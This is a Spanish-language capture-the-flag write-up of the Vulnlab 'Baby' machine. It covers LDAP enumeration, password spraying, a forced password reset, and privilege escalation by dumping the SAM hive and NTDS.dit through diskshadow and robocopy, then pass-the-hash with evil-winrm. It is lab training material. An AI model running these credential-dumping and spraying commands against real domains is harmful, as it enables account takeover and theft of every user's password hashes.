# Baby - Writeup (Vulnlab)

## NMAP

Al ejecutar el primer escaneo con NMAP, se obtienen los siguientes resultados, que proporcionan una visión inicial de los servicios y puertos abiertos en el sistema objetivo:

```bash
nmap -n -vv -A --min-parallelism=50 --max-parallelism=150 -Pn -T2
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753854995940/24803df3-425b-441c-a623-6e7f799adeac.webp align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753855012365/4d96fe63-8ab6-4dff-8d75-10e9208a7087.webp align="center")

## DNS Domain Name

Cuando trabajamos en entornos de ctf y pentesting, es común asignar un **nombre de dominio personalizado** a una dirección IP para facilitar el acceso y evitar tener que recordar IPs.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753899909045/62681aae-ec93-4e68-a994-5c93aa1639f1.png align="left")

Una forma práctica de lograr esto a nivel local es mediante la edición del archivo `/etc/hosts`, lo que permite mapear nombres de dominio a direcciones IP específicas.

## LDAP: Enumerando Usuarios

Si un servidor **LDAP** está expuesto públicamente y **permite consultas anónimas**, es posible intentar **enumerar usuarios** sin necesidad de autenticación, lo que puede ser un punto de partida valioso para un ataque.

## Enumeración Anónima

Utilizando `ldapsearch`, una herramienta estándar para consultar servicios LDAP, podemos enviar una búsqueda base sin credenciales para intentar descubrir información sobre los usuarios del sistema:

```bash
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"
```

Al continuar con la enumeración, encontramos entre los comentarios del usuario “**Teresa Bell**” una descripción interesante que sugiere que su contraseña fue restablecida o que el usuario nunca se ha conectado.

```bash
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep desc -A4
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900119888/7f55c793-c503-42bb-bfe6-1289e442e077.png align="left")

Podemos probar esto con **crackmapexec**, aunque inicialmente recibimos una mala noticia:

```bash
sudo crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900209923/312d2cdc-040c-4b1b-b5c6-28ab29c1b548.png align="left")

Parece que la contraseña fue cambiada. Es común verificar si esta contraseña pudo haber sido reutilizada en otro usuario, por lo que realizamos un **Password Spraying** con todos los demás usuarios presentes en el sistema.

Para ello, primero generamos un wordlist con los usuarios y luego utilizamos crackmapexec para realizar el ataque.

## Creando Wordlist de users.txt

Con el siguiente comando podemos recibir toda la información sin filtrar, pero nos va a servir para ‘detectar’ un campo que nos permita identificar a los usuarios:

```bash
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900255121/50e08036-7925-481e-95ab-41ced75c69d3.png align="left")

```bash
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900271198/8f7dd571-c9c4-43b4-b06d-21dd4cfafb26.png align="left")

Observamos el campo ***“member:”***, y al verificar el resto del archivo, parece ser un campo adecuado para extraer usuarios. Con esta información, procedemos a crear el wordlist de ***users.txt*** utilizando un poco de regex.

```bash
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:" |cut -d "=" -f 2 |cut -d "," -f 1 |awk '/ / {print $1 "." $2}' >users.txt
```

Si verificamos:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900317586/d0938c69-9954-48af-a351-55c3e9a50f62.png align="left")

Las primeras 7 lineas no parecen ser usuarios que nos sirva, asi que los filtramos y volvemos a verificar:

```bash
sed -i '1,7d' users.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900362930/e39d319d-9fb7-4b18-ae0f-62796c3f71a2.png align="left")

## Password Spraying

Utilizamos nuestro wordlist creado **users.txt** con la contraseña conocida que tenemos.

```bash
sudo crackmapexec smb baby.vl -u users.txt -p BabyStart123! --shares
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900516669/3d6ff4e5-888b-4856-a9b2-8cc90b65b83d.png align="left")

Logramos un match con la cuenta de ***Caroline.Robinson***. Al parecer, el estado de su contraseña es que *“debería ser cambiada”*.

## Cambiando el password con **smbpasswd.py**

Considerando que tenemos un match con *Caroline.Robinson*, y esta requiere cambiar su password, es el punto de aprovechamiento que necesitamos, usamos smbpasswd.py de Impacket:

```bash
smbpasswd.py -newpass 'MyHack1234' caroline.robinson@baby.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900651459/f7520579-ad85-4053-8da4-f3e86975c910.png align="left")

# USER.txt

## Ingresando con **evil-winrm** como Caroline.Robinson

Ingresamos con la nueva password que seteamos:

```bash
evil-winrm -u caroline.robinson -p 'MyHack1234' -i baby.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900705046/42bcf58b-2c1c-473c-8b11-97cfe5c7a919.png align="left")

Si nos vamos a Desktop/, sacamos la flag de **user.txt**

# ROOT.txt

Ahora que estamos conectados como caroline.robinson, y tenemos shell, lo primero siempre es verificar que tipo de privilegios poseemos en el sistema.

```bash
whoami /priv
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900734495/8b98daac-550d-43c5-896e-af8de3cee91d.png align="left")

Como podemos ver en la imagen resaltada, el usuario posee 2 privilegios importantes. ***SeBackupPrivilege*** y ***SeRestorePrivilege***.

> **#SeBackupPrivilege:**  
> Este privilegio otorga al usuario que lo posea el derecho de realizar copias de seguridad del sistema y de los archivos protegidos.
> 
> **#SeRestorePrivilege:**  
> Este privilegio permite al user que lo posea restaurar archivos y directorios del sistema

Juntando estos dos permisos y con el apoyo del siguiente link: [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry)

## Dumping hashes

```bash
reg save hklm\system system
reg save hklm\sam sam
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900835383/492efeae-a5d2-4c2e-8a18-84f457b86d9f.png align="left")

Procedemos a descargar localmente los dos archivos.

* sam
    
* system
    

Usamos **secretsdump.py** para obtener los hashes:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900864835/774005e2-ad79-4dd5-a1e9-496117eb9779.png align="left")

Logueo con evil-winrm y me llevo una sorpresa:

```bash
evil-winrm -i baby.vl -u "administrator" -H "8d9....."
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900888635/e0904435-bc13-4cb4-ad76-54b1adb9d934.png align="left")

El hash que dumpeamos es ni mas ni menos que para ADMIN local. Por ende no es un admin de Dominio. Entonces vamos a intentar enfocarnos en el Admin de Dominio que es el mismo nombre y en como obtener el archivo ***NTDS.dit***.

### ¿Que es NTDS.dit?

NTDS.dit es un archivo mas que importante en un sistema de dominio, esta localizado en todos los controladores de dominio. Este es una base de datos que almacena ‘datos’ de AD sobre objetos, usuarios, grupos, pertenecias de grupos, incluye los hashes NTLM de las passwords para todos los users.

Una vez que podemos obtener estos hashes, podemos loguear como cualquier user de dominio incluido los administradores.

## Diskshadow + Robocopy

Este sera nuestro vector de ataque. **Diskshadow** es un comando incluido en Windows Server el cual nos permite crear copias de un disco que esta actualmente en uso.

En el siguiente link encontré algo muy util de una persona que se baso en una maquina de HackTheBox con una situacion similar a la que tenemos en esta maquina. La cual consta de crear un script en el que ejecuta los comandos necesarios para crear una copia en este caso del **NTDS.dit.** Luego de realizar esto podremos extraer sin problemas el hash de **ADMIN**

## Script File: mySam.txt

Creo el siguiente script localmente y lo subo con evil-winrm usando la función “upload”:

```bash
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900930596/519a0ee4-21dd-49f5-8490-2cb5182ad5ec.png align="left")

```bash
diskshadow /s mySam.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900958154/e06fd8fe-83c7-4f3e-8396-beb13f36048b.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900964320/c41c8084-d5de-42f1-b98d-7af58bd0ef71.png align="left")

Cuando finaliza veremos que la copia fue realizada en el disco **E:\\.**

```bash
robocopy /b E:\Windows\ntds . ntds.dit
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753900995401/b1e7b500-a1fd-4821-b286-10ffe71c318c.png align="left")

Descargo el archivo **ntds.dit** y ejecuto **secretsdump.py**

```bash
secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753901076986/a995b519-bd1a-4437-aafe-ac576bc89413.png align="left")

Finalmente logueamos con evil-winrm:

```bash
evil-winrm -i baby.vl -u "administrator" -H "ee445..."
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753901100294/7a6ca2cb-0d6e-4611-8975-a2b176d591d0.png align="left")
